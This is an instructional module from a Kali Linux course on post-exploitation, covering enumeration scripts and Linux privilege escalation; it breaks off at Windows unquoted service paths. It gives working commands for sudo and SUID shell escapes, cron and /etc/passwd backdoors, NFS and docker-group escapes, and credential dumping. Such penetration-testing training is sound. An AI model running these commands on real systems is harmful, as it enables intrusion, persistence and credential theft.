Post-Exploitation & Privilege Escalation
Stage 08 — Post-Exploitation and Privilege Escalation
Maximizing Access and Achieving Objectives After Initial Compromise
Kali Linux for Cybersecurity Learning Path
Audience: Learners who have completed Stages 01-07 (ready for advanced techniques)
Welcome to Stage 08. You've gained initial access to a system. Now what? This stage teaches you how to enumerate compromised systems, escalate privileges, harvest credentials, establish persistence, and move toward your objectives while maintaining operational security.
⚠️ Critical Legal and Ethical Notice
All techniques in this stage require explicit authorization.
Post-exploitation activities can cause significant damage:
- Data exposure or theft
- System instability
- Regulatory violations
- Legal consequences
Only perform these activities on:
- Systems you own
- Lab environments you control
- Authorized penetration tests with written scope
When in doubt, stop and verify authorization.
Prerequisites
Before starting Stage 08, you must have completed Stages 01-07:
- [ ] Comfortable with Linux command line and scripting
- [ ] Understand networking concepts
- [ ] Can use Metasploit and generate payloads
- [ ] Successfully exploited services and gained shells
- [ ] Understand shell handling and upgrades
- [ ] Can document exploitation activities
If any of these are not checked, return to previous stages first.
Why Post-Exploitation Matters
Initial access is just the beginning:
| Challenge | Post-Exploitation Solution |
|-----------|---------------------------|
| Low-privilege access | Privilege escalation |
| Limited visibility | System enumeration |
| Temporary access | Persistence mechanisms |
| Single system | Lateral movement |
| Unknown value | Data discovery and exfiltration |
| Detection risk | Operational security |
The goal isn't just to get in—it's to achieve objectives.
What You Will Learn
By the end of this stage, you will be able to:
- Enumerate compromised systems thoroughly
- Identify privilege escalation vectors
- Escalate privileges on Linux systems
- Escalate privileges on Windows systems
- Harvest credentials and sensitive data
- Establish persistence mechanisms
- Understand lateral movement concepts
- Maintain operational security
- Document post-exploitation activities
What You Will Build
- Enumeration scripts — Comprehensive system enumeration
- Privilege escalation methodology — Systematic approach
- Credential harvesting toolkit — Extraction techniques
- Persistence mechanisms — Maintaining access
- Post-exploitation playbooks — Documented procedures
- Defense evasion awareness — Understanding detection
Certification Alignment
This stage maps to objectives from:
| Certification | Relevant Domains |
|--------------|------------------|
| CompTIA PenTest+ | 3.0 Attacks and Exploits, 4.0 Post-Exploitation |
| CEH | Module 6: System Hacking, Module 7: Malware |
| eJPT | Host & Network Penetration Testing |
| OSCP | Post-exploitation, Privilege escalation |
> Certification Exam Currency Notice: Verify current exam objectives at the vendor's official website.
Time Estimate
Total: 45-55 hours
| Section | Hours |
|---------|-------|
| Post-Exploitation Concepts | 3-4 |
| System Enumeration | 6-8 |
| Linux Privilege Escalation | 10-12 |
| Windows Privilege Escalation | 10-12 |
| Credential Harvesting | 5-6 |
| Persistence Mechanisms | 5-6 |
| Lateral Movement | 4-5 |
| Stage Assessment | 4-5 |
The Milestones Approach
Stage 08 Milestones
- Understand post-exploitation objectives
- Master system enumeration
- Perform Linux privilege escalation
- Perform Windows privilege escalation
- Harvest credentials and data
- Establish persistence
- Understand lateral movement
- Complete the stage assessment
Part 1 — Post-Exploitation Concepts (Milestone 1)
Post-Exploitation Objectives
After gaining access, your objectives typically include:
┌─────────────────────────────────────────────────────────────────┐
│ Post-Exploitation Objectives │
├─────────────────────────────────────────────────────────────────┤
│ │
│ SITUATIONAL AWARENESS │
│ ├── Who am I? (user context) │
│ ├── Where am I? (system context) │
│ ├── What's here? (network context) │
│ └── What can I access? (permissions) │
│ │
│ PRIVILEGE ESCALATION │
│ ├── Elevate from user to admin/root │
│ ├── Bypass access controls │
│ └── Gain additional capabilities │
│ │
│ PERSISTENCE │
│ ├── Survive reboots │
│ ├── Maintain access over time │
│ └── Create backup access methods │
│ │
│ DATA ACCESS │
│ ├── Find sensitive information │
│ ├── Harvest credentials │
│ └── Exfiltrate data │
│ │
│ LATERAL MOVEMENT │
│ ├── Identify connected systems │
│ ├── Pivot to other targets │
│ └── Expand access │
│ │
│ COVER TRACKS (if authorized) │
│ ├── Clean logs │
│ ├── Remove artifacts │
│ └── Avoid detection │
│ │
└─────────────────────────────────────────────────────────────────┘
Post-Exploitation Workflow
┌─────────────────────────────────────────────────────────────────┐
│ Post-Exploitation Workflow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. STABILIZE ACCESS │
│ ├── Upgrade shell │
│ ├── Ensure persistence (if authorized) │
│ └── Establish reliable communications │
│ │
│ 2. SITUATIONAL AWARENESS │
│ ├── System enumeration │
│ ├── User enumeration │
│ ├── Network enumeration │
│ └── Security controls identification │
│ │
│ 3. PRIVILEGE ESCALATION │
│ ├── Identify escalation vectors │
│ ├── Attempt escalation │
│ └── Verify new privileges │
│ │
│ 4. CREDENTIAL HARVESTING │
│ ├── Dump password hashes │
│ ├── Find stored credentials │
│ ├── Capture network credentials │
│ └── Extract secrets │
│ │
│ 5. INTERNAL RECONNAISSANCE │
│ ├── Map internal network │
│ ├── Identify high-value targets │
│ └── Find pivot points │
│ │
│ 6. LATERAL MOVEMENT │
│ ├── Use harvested credentials │
│ ├── Exploit trust relationships │
│ └── Pivot through network │
│ │
│ 7. DATA OBJECTIVES │
│ ├── Locate target data │
│ ├── Stage for exfiltration │
│ └── Exfiltrate (if in scope) │
│ │
│ 8. CLEANUP (if required) │
│ ├── Remove tools and artifacts │
│ ├── Restore configurations │
│ └── Document everything │
│ │
└─────────────────────────────────────────────────────────────────┘
Key Terminology
| Term | Definition |
|------|------------|
| Privilege Escalation | Gaining higher permissions than initially obtained |
| Horizontal Movement | Moving to other systems with same privilege level |
| Vertical Movement | Escalating privileges on the same system |
| Pivoting | Using compromised system to access other networks |
| Persistence | Maintaining access across reboots and time |
| Living Off the Land | Using built-in tools instead of uploading malware |
| LOLBins | Legitimate binaries used for malicious purposes |
| Pass-the-Hash | Using password hash instead of plaintext |
| Token Impersonation | Using another user's security token |
Post-Exploitation in Meterpreter
# After getting a Meterpreter session
# Basic situational awareness
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > getprivs # Current privileges
meterpreter > getsystem # Attempt privilege escalation
# Network awareness
meterpreter > ipconfig # Network configuration
meterpreter > route # Routing table
meterpreter > arp # ARP cache
meterpreter > netstat # Network connections
# Process information
meterpreter > ps # List processes
meterpreter > getpid # Current process ID
meterpreter > migrate <PID> # Migrate to another process
# File operations
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > cd # Change directory
meterpreter > download <file> # Download file
meterpreter > upload <file> # Upload file
# Credential harvesting
meterpreter > hashdump # Dump password hashes
meterpreter > load kiwi # Load Mimikatz extension
meterpreter > creds_all # Dump all credentials
# Post-exploitation modules
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_system
meterpreter > run post/windows/gather/enum_logged_on_users
Milestone 1 Checkpoint
Before proceeding, verify:
- [ ] You understand post-exploitation objectives
- [ ] You know the post-exploitation workflow
- [ ] You understand key terminology
- [ ] You know basic Meterpreter post-exploitation commands
[CERT CHECKPOINT - PenTest+ 4.0]: Post-exploitation concepts are fundamental.
Part 2 — System Enumeration (Milestone 2)
Linux System Enumeration
After gaining access to a Linux system, enumerate everything.
Manual Enumeration Commands
# === SYSTEM INFORMATION ===
hostname # System hostname
uname -a # Kernel version
cat /etc/*-release # OS version
cat /proc/version # Kernel info
df -h # Disk usage
free -h # Memory usage
lscpu # CPU information
# === USER INFORMATION ===
id # Current user and groups
whoami # Current username
w # Logged in users
last # Login history
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (if readable)
cat /etc/group # Groups
cat /etc/sudoers # Sudo configuration (if readable)
sudo -l # What can current user sudo?
# === NETWORK INFORMATION ===
ip addr # Network interfaces
ip route # Routing table
cat /etc/resolv.conf # DNS servers
cat /etc/hosts # Host file
netstat -tulpn # Listening ports
ss -tulpn # Listening ports (alternative)
arp -a # ARP cache
# === RUNNING PROCESSES ===
ps aux # All running processes
ps aux | grep root # Root processes
top -bn1 # Process snapshot
# === CRON JOBS ===
crontab -l # Current user's cron
cat /etc/crontab # System cron
ls -la /etc/cron.* # Cron directories
cat /var/spool/cron/crontabs/* # All crontabs (if readable)
# === INSTALLED APPLICATIONS ===
dpkg -l # Debian packages
rpm -qa # RPM packages
which python perl ruby gcc # Useful tools available
# === SUID/SGID BINARIES ===
find / -perm -4000 -type f 2>/dev/null # SUID files
find / -perm -2000 -type f 2>/dev/null # SGID files
find / -perm -6000 -type f 2>/dev/null # SUID+SGID
# === WRITABLE DIRECTORIES ===
find / -writable -type d 2>/dev/null # Writable directories
find / -writable -type f 2>/dev/null # Writable files
# === SENSITIVE FILES ===
cat /etc/passwd
cat /etc/shadow
cat /etc/hosts
cat ~/.bash_history
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys
ls -la /home/*/.ssh/
# === ENVIRONMENT ===
env # Environment variables
echo $PATH # Path variable
cat ~/.bashrc # Bash configuration
Linux Enumeration Script
#!/bin/bash
# linux_enum.sh - Comprehensive Linux enumeration script
OUTPUT_DIR="${1:-/tmp/enum_$(date +%Y%m%d_%H%M%S)}"
mkdir -p "$OUTPUT_DIR"
echo "=== Linux Enumeration Script ==="
echo "Output directory: $OUTPUT_DIR"
echo ""
# System Information
echo "[*] Gathering system information..."
{
echo "=== SYSTEM INFORMATION ==="
echo "Hostname: $(hostname)"
echo "Kernel: $(uname -a)"
echo ""
echo "OS Release:"
cat /etc/*-release 2>/dev/null
echo ""
echo "CPU Info:"
lscpu 2>/dev/null
echo ""
echo "Memory:"
free -h 2>/dev/null
echo ""
echo "Disk:"
df -h 2>/dev/null
} > "$OUTPUT_DIR/system_info.txt"
# User Information
echo "[*] Gathering user information..."
{
echo "=== USER INFORMATION ==="
echo "Current User: $(whoami)"
echo "User ID: $(id)"
echo ""
echo "Logged In Users:"
w 2>/dev/null
echo ""
echo "Last Logins:"
last -n 20 2>/dev/null
echo ""
echo "/etc/passwd:"
cat /etc/passwd
echo ""
echo "/etc/group:"
cat /etc/group
echo ""
echo "Sudo Permissions:"
sudo -l 2>/dev/null
} > "$OUTPUT_DIR/user_info.txt"
# Network Information
echo "[*] Gathering network information..."
{
echo "=== NETWORK INFORMATION ==="
echo "IP Addresses:"
ip addr 2>/dev/null || ifconfig 2>/dev/null
echo ""
echo "Routing Table:"
ip route 2>/dev/null || route -n 2>/dev/null
echo ""
echo "DNS Servers:"
cat /etc/resolv.conf 2>/dev/null
echo ""
echo "Hosts File:"
cat /etc/hosts 2>/dev/null
echo ""
echo "Listening Ports:"
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null
echo ""
echo "ARP Cache:"
arp -a 2>/dev/null
echo ""
echo "Active Connections:"
ss -tan 2>/dev/null || netstat -tan 2>/dev/null
} > "$OUTPUT_DIR/network_info.txt"
# Process Information
echo "[*] Gathering process information..."
{
echo "=== PROCESS INFORMATION ==="
echo "Running Processes:"
ps aux
echo ""
echo "Root Processes:"
ps aux | grep -E "^root"
} > "$OUTPUT_DIR/process_info.txt"
# Cron Jobs
echo "[*] Gathering cron information..."
{
echo "=== CRON JOBS ==="
echo "Current User Crontab:"
crontab -l 2>/dev/null
echo ""
echo "/etc/crontab:"
cat /etc/crontab 2>/dev/null
echo ""
echo "Cron Directories:"
for dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly; do
echo "--- $dir ---"
ls -la "$dir" 2>/dev/null
done
echo ""
echo "System Crontabs:"
cat /var/spool/cron/crontabs/* 2>/dev/null
} > "$OUTPUT_DIR/cron_info.txt"
# SUID/SGID Binaries
echo "[*] Finding SUID/SGID binaries..."
{
echo "=== SUID/SGID BINARIES ==="
echo "SUID Files:"
find / -perm -4000 -type f 2>/dev/null
echo ""
echo "SGID Files:"
find / -perm -2000 -type f 2>/dev/null
} > "$OUTPUT_DIR/suid_sgid.txt"
# Writable Files and Directories
echo "[*] Finding writable locations..."
{
echo "=== WRITABLE LOCATIONS ==="
echo "Writable Directories:"
find / -writable -type d 2>/dev/null | head -100
echo ""
echo "World-Writable Files:"
find / -perm -002 -type f 2>/dev/null | head -100
} > "$OUTPUT_DIR/writable.txt"
# Sensitive Files
echo "[*] Checking sensitive files..."
{
echo "=== SENSITIVE FILES ==="
for file in /etc/passwd /etc/shadow /etc/sudoers ~/.bash_history ~/.ssh/id_rsa ~/.ssh/authorized_keys; do
if [ -r "$file" ]; then
echo "--- $file (readable) ---"
cat "$file" 2>/dev/null
echo ""
else
echo "--- $file (not readable) ---"
fi
done
} > "$OUTPUT_DIR/sensitive_files.txt"
# Installed Software
echo "[*] Gathering installed software..."
{
echo "=== INSTALLED SOFTWARE ==="
echo "DPKG Packages:"
dpkg -l 2>/dev/null | head -100
echo ""
echo "RPM Packages:"
rpm -qa 2>/dev/null | head -100
echo ""
echo "Available Tools:"
for tool in python python3 perl ruby gcc nc ncat netcat wget curl; do
which "$tool" 2>/dev/null && echo " $tool: $(which $tool)"
done
} > "$OUTPUT_DIR/software.txt"
# Environment
echo "[*] Gathering environment information..."
{
echo "=== ENVIRONMENT ==="
echo "Environment Variables:"
env
echo ""
echo "PATH:"
echo "$PATH"
} > "$OUTPUT_DIR/environment.txt"
# Create summary
echo "[*] Creating summary..."
{
echo "=== ENUMERATION SUMMARY ==="
echo "Date: $(date)"
echo "Hostname: $(hostname)"
echo "User: $(whoami)"
echo "Kernel: $(uname -r)"
echo ""
echo "Files generated:"
ls -la "$OUTPUT_DIR"
} > "$OUTPUT_DIR/summary.txt"
echo ""
echo "=== Enumeration Complete ==="
echo "Results saved to: $OUTPUT_DIR"
ls -la "$OUTPUT_DIR"
Save to ~/scripts/linux_enum.sh and make executable with chmod +x.
Automated Enumeration Tools
LinPEAS (Linux Privilege Escalation Awesome Scripts)
# Download LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Transfer to target
# Option 1: Host with Python
python3 -m http.server 8000
# On target:
wget http://ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# Run specific checks only
./linpeas.sh -s # Stealth mode (less noise)
./linpeas.sh -a # All checks
LinEnum
# Download LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# Transfer and run
chmod +x LinEnum.sh
./LinEnum.sh -t # Thorough tests
./LinEnum.sh -r report # Save to file
Linux Smart Enumeration (LSE)
# Download LSE
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
# Run with different levels
./lse.sh -l 0 # Minimal output
./lse.sh -l 1 # Useful information
./lse.sh -l 2 # All checks
Windows System Enumeration
Manual Enumeration Commands
REM === SYSTEM INFORMATION ===
hostname
systeminfo
wmic os get caption,version,buildnumber
wmic computersystem get domain,workgroup
REM === USER INFORMATION ===
whoami
whoami /priv
whoami /groups
net user
net user %username%
net localgroup
net localgroup administrators
query user
qwinsta
REM === NETWORK INFORMATION ===
ipconfig /all
route print
arp -a
netstat -ano
netsh firewall show state
netsh advfirewall show allprofiles
REM === RUNNING PROCESSES ===
tasklist
tasklist /v
wmic process list full
REM === SERVICES ===
net start
sc query
wmic service list brief
REM === INSTALLED SOFTWARE ===
wmic product get name,version
reg query HKLM\SOFTWARE
REM === SCHEDULED TASKS ===
schtasks /query /fo LIST /v
REM === REGISTRY ===
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP
REM === SENSITIVE FILES ===
dir /s *pass* *cred* *vnc* *.config
findstr /si password *.xml *.ini *.txt *.config
PowerShell Enumeration
# System Information
Get-ComputerInfo
Get-WmiObject Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber
# User Information
whoami /all
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
Get-Process -IncludeUserName | Where-Object {$_.UserName}
# Network Information
Get-NetIPConfiguration
Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"}
Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'}
# Installed Software
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion
# Services
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*"} |
Select-Object Name, PathName, StartMode, State
# Scheduled Tasks
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}
# Find credentials in files
Get-ChildItem -Path C:\ -Include *.txt,*.xml,*.config,*.ini -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pwd|credentials" -ErrorAction SilentlyContinue
# Unquoted service paths
Get-WmiObject win32_service | Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match ' ' -and
$_.PathName -notmatch 'Windows'
} | Select-Object Name, PathName
Windows Enumeration Script
# windows_enum.ps1 - Windows enumeration script
$OutputDir = "C:\Temp\enum_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null
Write-Host "=== Windows Enumeration Script ===" -ForegroundColor Cyan
Write-Host "Output directory: $OutputDir"
# System Information
Write-Host "[*] Gathering system information..."
@"
=== SYSTEM INFORMATION ===
Hostname: $env:COMPUTERNAME
Domain: $env:USERDOMAIN
OS: $(Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty Caption)
Version: $(Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty Version)
Architecture: $env:PROCESSOR_ARCHITECTURE
$(systeminfo)
"@ | Out-File "$OutputDir\system_info.txt"
# User Information
Write-Host "[*] Gathering user information..."
@"
=== USER INFORMATION ===
Current User: $env:USERNAME
User Details:
$(whoami /all)
Local Users:
$(Get-LocalUser | Format-Table | Out-String)
Local Groups:
$(Get-LocalGroup | Format-Table | Out-String)
Administrators:
$(Get-LocalGroupMember Administrators 2>$null | Format-Table | Out-String)
"@ | Out-File "$OutputDir\user_info.txt"
# Network Information
Write-Host "[*] Gathering network information..."
@"
=== NETWORK INFORMATION ===
IP Configuration:
$(ipconfig /all)
Routing Table:
$(route print)
ARP Cache:
$(arp -a)
Listening Ports:
$(netstat -ano | Select-String "LISTENING")
Active Connections:
$(netstat -ano | Select-String "ESTABLISHED")
"@ | Out-File "$OutputDir\network_info.txt"
# Process Information
Write-Host "[*] Gathering process information..."
Get-Process | Format-Table Id, ProcessName, Path, Company -AutoSize |
Out-File "$OutputDir\process_info.txt"
# Services
Write-Host "[*] Gathering service information..."
Get-WmiObject win32_service |
Select-Object Name, DisplayName, State, StartMode, PathName |
Format-Table -AutoSize |
Out-File "$OutputDir\services.txt"
# Unquoted Service Paths
Write-Host "[*] Checking for unquoted service paths..."
Get-WmiObject win32_service |
Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '} |
Select-Object Name, PathName |
Out-File "$OutputDir\unquoted_paths.txt"
# Installed Software
Write-Host "[*] Gathering installed software..."
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion, Publisher |
Format-Table -AutoSize |
Out-File "$OutputDir\software.txt"
# Scheduled Tasks
Write-Host "[*] Gathering scheduled tasks..."
schtasks /query /fo LIST /v | Out-File "$OutputDir\scheduled_tasks.txt"
# Privilege Checks
Write-Host "[*] Checking privileges..."
@"
=== PRIVILEGE CHECKS ===
Current Privileges:
$(whoami /priv)
AlwaysInstallElevated:
HKLM: $(reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>$null)
HKCU: $(reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>$null)
"@ | Out-File "$OutputDir\privileges.txt"
Write-Host ""
Write-Host "=== Enumeration Complete ===" -ForegroundColor Green
Write-Host "Results saved to: $OutputDir"
Get-ChildItem $OutputDir
WinPEAS (Windows Privilege Escalation Awesome Scripts)
# Download WinPEAS
# https://github.com/carlospolop/PEASS-ng/releases
# Run WinPEAS
.\winPEASany.exe
# Specific checks
.\winPEASany.exe quiet # Less output
.\winPEASany.exe systeminfo userinfo # Specific categories
Milestone 2 Checkpoint
Before proceeding, verify:
- [ ] You can enumerate Linux systems manually
- [ ] You have created linux_enum.sh
- [ ] You know how to use LinPEAS/LinEnum
- [ ] You can enumerate Windows systems
- [ ] You understand automated enumeration tools
[CERT CHECKPOINT - PenTest+ 4.1 / CEH]: Enumeration is critical for privilege escalation.
Part 3 — Linux Privilege Escalation (Milestone 3)
Privilege Escalation Methodology
┌─────────────────────────────────────────────────────────────────┐
│ Linux Privilege Escalation Methodology │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. SITUATIONAL AWARENESS │
│ └── Who am I? What can I do? │
│ │
│ 2. KERNEL EXPLOITS │
│ └── Known vulnerabilities in kernel version │
│ │
│ 3. SUDO MISCONFIGURATION │
│ └── sudo -l, NOPASSWD, wildcards │
│ │
│ 4. SUID/SGID BINARIES │
│ └── Exploitable binaries with elevated privileges │
│ │
│ 5. CRON JOBS │
│ └── Writable scripts, PATH manipulation │
│ │
│ 6. PATH HIJACKING │
│ └── Writable directories in PATH │
│ │
│ 7. NFS/SERVICES │
│ └── no_root_squash, vulnerable services │
│ │
│ 8. CREDENTIALS │
│ └── Passwords in files, history, configs │
│ │
│ 9. CAPABILITIES │
│ └── Binaries with special capabilities │
│ │
│ 10. DOCKER/LXC │
│ └── Container escapes if user in docker group │
│ │
└─────────────────────────────────────────────────────────────────┘
1. Kernel Exploits
# Check kernel version
uname -a
cat /proc/version
# Search for kernel exploits
# Use searchsploit
searchsploit linux kernel <version>
searchsploit linux kernel 2.6
searchsploit linux kernel 3.
searchsploit linux kernel 4.
# Common kernel exploits:
# Dirty COW (CVE-2016-5195) - Linux < 4.8.3
# Dirty Pipe (CVE-2022-0847) - Linux 5.8+
Example: Dirty COW (Educational)
# Check if vulnerable (kernel < 4.8.3)
uname -r
# Compile exploit (if gcc available)
# Many versions exist - this is educational only
gcc -pthread dirty_cow.c -o dirty_cow -lcrypt
./dirty_cow newpassword
su firefart
2. Sudo Misconfiguration
# Check sudo permissions
sudo -l
# Look for:
# - (ALL) NOPASSWD: ALL # Can sudo anything
# - (root) NOPASSWD: /bin/vim # Can sudo specific commands
# - (root) NOPASSWD: /bin/find # Can escape to shell
Exploiting Sudo Permissions
# If you can sudo vim
sudo vim -c ':!/bin/bash'
# If you can sudo find
sudo find /etc -exec /bin/bash \;
# If you can sudo less/more
sudo less /etc/shadow
!bash
# If you can sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# If you can sudo nmap (old versions)
sudo nmap --interactive
!sh
# If you can sudo python
sudo python -c 'import os; os.system("/bin/bash")'
# If you can sudo perl
sudo perl -e 'exec "/bin/bash";'
# If you can sudo ruby
sudo ruby -e 'exec "/bin/bash"'
# If you can sudo tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# Reference: GTFOBins (gtfobins.github.io)
3. SUID/SGID Binaries
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Check GTFOBins for each SUID binary found
# https://gtfobins.github.io/
Exploiting SUID Binaries
# If /usr/bin/find has SUID
/usr/bin/find . -exec /bin/bash -p \;
# If /usr/bin/vim has SUID
/usr/bin/vim -c ':py import os; os.execl("/bin/bash", "bash", "-p")'
# If /usr/bin/nmap (old) has SUID
/usr/bin/nmap --interactive
!sh
# If /usr/bin/cp has SUID (create backdoor user)
# Create password hash
openssl passwd -1 backdoor
# Output: $1$xyz$hash
# Create passwd entry
echo 'backdoor:$1$xyz$hash:0:0:root:/root:/bin/bash' > /tmp/passwd_entry
# Append to /etc/passwd using cp
cat /etc/passwd /tmp/passwd_entry > /tmp/passwd
/usr/bin/cp /tmp/passwd /etc/passwd
# If /usr/bin/python has SUID
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
4. Cron Job Exploitation
# View cron jobs
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*
# Look for:
# - Scripts running as root that are writable
# - Scripts that call other files we can write to
# - PATH manipulation opportunities
Exploiting Writable Cron Scripts
# If /opt/scripts/backup.sh runs as root and is writable
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait for cron to execute
# Then:
/tmp/bash -p
PATH Manipulation in Cron
# If crontab uses relative path
# * * * * * root backup.sh
# And /home/user is in PATH before /usr/bin
# Create malicious backup.sh in /home/user
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
# Wait for cron
/tmp/bash -p
5. Writable /etc/passwd
# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable, add a root user
# Generate password hash
openssl passwd -1 hacked
# Add user with root UID
echo 'hacked:$1$xyz$abc:0:0::/root:/bin/bash' >> /etc/passwd
# Switch to new root user
su hacked
# Password: hacked
6. NFS no_root_squash
# On target - check NFS exports
cat /etc/exports
# Look for: no_root_squash
# On attacker
showmount -e <target_ip>
# Mount the share
mkdir /tmp/nfs
mount -t nfs <target_ip>:/share /tmp/nfs
# Create SUID binary (as root on attacker)
cat << 'EOF' > /tmp/nfs/shell.c
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod +s /tmp/nfs/shell
# On target
/share/shell
7. Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Exploitable capabilities:
# cap_setuid+ep - Can set UID
# If python has cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# If vim has cap_setuid
./vim -c ':py import os; os.setuid(0); os.execl("/bin/bash", "bash")'
8. Docker Group
# Check if user is in docker group
id
groups
# If in docker group - root access
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
# Or mount and modify
docker run -v /etc:/mnt/etc -it alpine
# Inside container:
echo 'hacked:x:0:0::/root:/bin/bash' >> /mnt/etc/passwd
Linux Privilege Escalation Script
#!/bin/bash
# linux_privesc_check.sh - Quick privilege escalation checks
echo "=== Linux Privilege Escalation Checks ==="
echo ""
# Current user info
echo "[*] Current User"
id
echo ""
# Sudo permissions
echo "[*] Sudo Permissions"
sudo -l 2>/dev/null
echo ""
# SUID binaries
echo "[*] SUID Binaries"
find / -perm -4000 -type f 2>/dev/null
echo ""
# Writable /etc/passwd
echo "[*] /etc/passwd permissions"
ls -la /etc/passwd
echo ""
# Writable cron
echo "[*] Checking cron..."
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null
echo ""
# Capabilities
echo "[*] Capabilities"
getcap -r / 2>/dev/null
echo ""
# Docker group
echo "[*] Docker group check"
groups | grep -q docker && echo "User is in docker group!" || echo "Not in docker group"
echo ""
# Kernel version
echo "[*] Kernel Version"
uname -a
echo ""
# Writable directories in PATH
echo "[*] Writable PATH directories"
for dir in $(echo $PATH | tr ':' ' '); do
if [ -w "$dir" ]; then
echo "Writable: $dir"
fi
done
echo ""
# World-writable files owned by root
echo "[*] World-writable files owned by root"
find / -writable -type f -user root 2>/dev/null | head -20
echo ""
echo "=== Check GTFOBins for exploitation techniques ==="
echo "https://gtfobins.github.io/"
Save to ~/scripts/linux_privesc_check.sh.
Milestone 3 Checkpoint
Before proceeding, verify:
- [ ] You understand the privilege escalation methodology
- [ ] You can check and exploit sudo misconfigurations
- [ ] You can find and exploit SUID binaries
- [ ] You understand cron exploitation
- [ ] You know about kernel exploits
- [ ] You have created linux_privesc_check.sh
[CERT CHECKPOINT - PenTest+ 3.5 / CEH / OSCP]: Linux privesc is essential.
Part 4 — Windows Privilege Escalation (Milestone 4)
Windows Privilege Escalation Methodology
┌─────────────────────────────────────────────────────────────────┐
│ Windows Privilege Escalation Methodology │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. SITUATIONAL AWARENESS │
│ └── whoami /all, systeminfo, privileges │
│ │
│ 2. KERNEL EXPLOITS │
│ └── Known Windows vulnerabilities │
│ │
│ 3. SERVICE MISCONFIGURATIONS │
│ ├── Unquoted service paths │
│ ├── Weak service permissions │
│ └── Writable service executables │
│ │
│ 4. REGISTRY MISCONFIGURATIONS │
│ ├── AlwaysInstallElevated │
│ ├── AutoRuns │
│ └── Stored credentials │
│ │
│ 5. SCHEDULED TASKS │
│ └── Writable task executables │
│ │
│ 6. TOKEN MANIPULATION │
│ ├── Token impersonation │
│ └── SeImpersonatePrivilege │
│ │
│ 7. CREDENTIALS │
│ ├── Saved credentials │
│ ├── SAM/SYSTEM files │
│ └── Memory extraction (Mimikatz) │
│ │
│ 8. DLL HIJACKING │
│ └── Missing DLLs in writable locations │
│ │
│ 9. UAC BYPASS │
│ └── Bypass User Account Control │
│ │
└─────────────────────────────────────────────────────────────────┘
1. Kernel Exploits
# Check system info
systeminfo
# Look for:
# - OS Name: Microsoft Windows Server 2008 R2
# - OS Version: 6.1.7601 (vulnerable to many exploits)
# - Hotfix(s): Check what patches are installed
# Use Windows Exploit Suggester
# On attacker:
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt
2. Service Misconfigurations
Unquoted Service Paths
REM Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
REM Or in PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '} | Select-Object Name, PathName
Exploitation:
If path is: C:\Program Files\Some Folder\service.exe
Windows searches for executables in order:
1. C:\Program.exe
2. C:\Program Files\Some.exe
3. C:\Program Files\Some Folder\service.exe
If we can write to C:\Program Files\Some.exe, we can hijack the service
REM Check write permissions
